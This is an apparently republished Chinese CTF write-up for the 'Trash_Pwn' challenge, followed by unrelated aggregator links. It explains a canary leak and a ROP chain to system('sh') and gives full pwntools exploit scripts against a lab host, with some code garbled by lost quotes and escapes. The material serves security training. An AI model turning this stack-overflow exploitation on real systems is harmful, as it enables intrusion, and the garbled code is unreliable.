D0g3_Trash_Pwn_Writeup

Posted lyxf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了D0g3_Trash_Pwn_Writeup相关的知识,希望对你有一定的参考价值。

Trash Pwn

下载文件

 1 首先使用checksec查看有什么保护

技术图片

可以发现,有canary保护(Stack),堆栈不可执行(NX),地址随机化没有开启(PIE)

 

2 使用IDA打开看看

技术图片

main函数里没有什么漏洞,注意调试时把alarm函数nop掉(计时函数)

进入Who函数

技术图片

读取的s是main函数中的一个储存字符窜的数组,然后再打印字符串后面的一些东西(这里可以溢出canary)

只要控制字符的个数,就可以溢出canary,补充一个知识: canary一般的最低位的字节为0,所以溢出时64位有7个可用字节,32位的为3个可用字节.

真正的canary就需要加上x00,才能是真正的canary.

这里就可以写获取canary的exp:

f

rom pwn import *
elf = ELF("./Trash_Pwn")
#context.log_level = ‘debug‘
sh = elf.process()
#sh = remote("106.54.93.158",1234)
Num = 8 * 9 + 0   #通过计算的偏移,72个字符+ 
 (回车x0a)
sh.recvuntil("Hi you guys! What‘s your name?")
payload_1 = D * Num
sh.sendline(payload_1)
print sh.recvline(keepends = True)
print sh.recvuntil("D
")
canary = u64(x00 + sh.recvline()[0:7])  #在打印时即可获取7个有用字符,在加上一个x00在最低位就得到canary
print canary:
print hex(canary)

 

 

好了,我们就可以通过输入名字时获取canary,查看第二个函数

技术图片

 

buf 可以输入的长度为0x100,第二次输入就可以用基本的栈溢出了

现在我们就可修改堆栈里存储的ret值,实现控制EIP.

我们看一下字符窜表

技术图片

进入调用函数:

技术图片

 这里就要考验观察能力了,平时做的时候都是/bin/sh,现在来个打印sh,这里我们只需修改传参的时候修改位sh就行,记录一下cmd的地址

 可是传餐不像32位机器使用push传参,使用的是rdi寄存器传参,若程序中存在pop rdi + ret指令就再好不过了.

 使用python  中的pwntools库查看一下pop rid 和 ret的硬编码‘

技术图片

 

硬编码位 5f c3 再使用hexeditor搜索5f c3:

 技术图片

技术图片

 

 技术图片

 

发现存在,使用edb或gdb在动态调试中搜索当前的地址: 地址为:0x40147E

也可以使用指令:ROPgadget --binary Trash_Pwn --only "pop | ret"      搜索获取地址

利用思路:先是跳转到pop rdi指令的地方修改rdi的值(改为指向echo sh中的sh地址), 然后ret到system函数即可

以下是exp:

from pwn import * 
elf = ELF("./Trash_Pwn")
#context.log_level = ‘debug‘
sh = elf.process()
sh = remote("106.54.93.158",1234)

Num = 8 * 9 + 0
sh.recvuntil("Hi you guys! What‘s your name?")

payload_1 = D * Num
sh.sendline(payload_1)
print sh.recvline(keepends = True)
print sh.recvuntil("D
")
canary = u64(x00 + sh.recvline()[0:7])

print canary:
print hex(canary)

sh.recvuntil("Help me to clean this trash!
")
sys_addr = 0x40130B
pop_rdi_addr = 0x40147E
str_sh_addr = 0x404085

payload_2 = D * ( 64 + Num) + p64(canary) + p64(0xdeedbeef) + p64(pop_rdi_addr) + p64(str_sh_addr) + p64(sys_addr)
#gdb.attach(sh)
sh.sendline(payload_2)

sh.interactive()

 

 技术图片

拿到flag

总结:

canary的最低位字节位0,控制字符个数,溢出canary

使用pop rdi修改rdi的值,从而修改64位system的传参

 

2019-12-14

20:04:16

 

 

 

以上是关于D0g3_Trash_Pwn_Writeup的主要内容,如果未能解决你的问题,请参考以下文章

51单片机+3片74HC595联级流水灯+Proteus仿真

sql面试题_SQl优化技巧_1注意通配符中like的使用,百分号放后面_2避免在where子句中对字段进行函数操作_3在子查询当中,尽量用exists代替in_4where子句中尽量不要使用(代码片

SPRING05_BeanFactory概述HierarchicalBeanFactoryListableBeanFacotoryDefaultListableBeanFactory档案馆详解(代码片

拆分 reducer 在 redux 中对同一片数据进行操作

SpringBoot MAVEN编译报错Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.8.0:(代码片

The CPU_ NUM is not specified, you should set CPU_ NUM in the environment variable list。 CPU NUM(代码片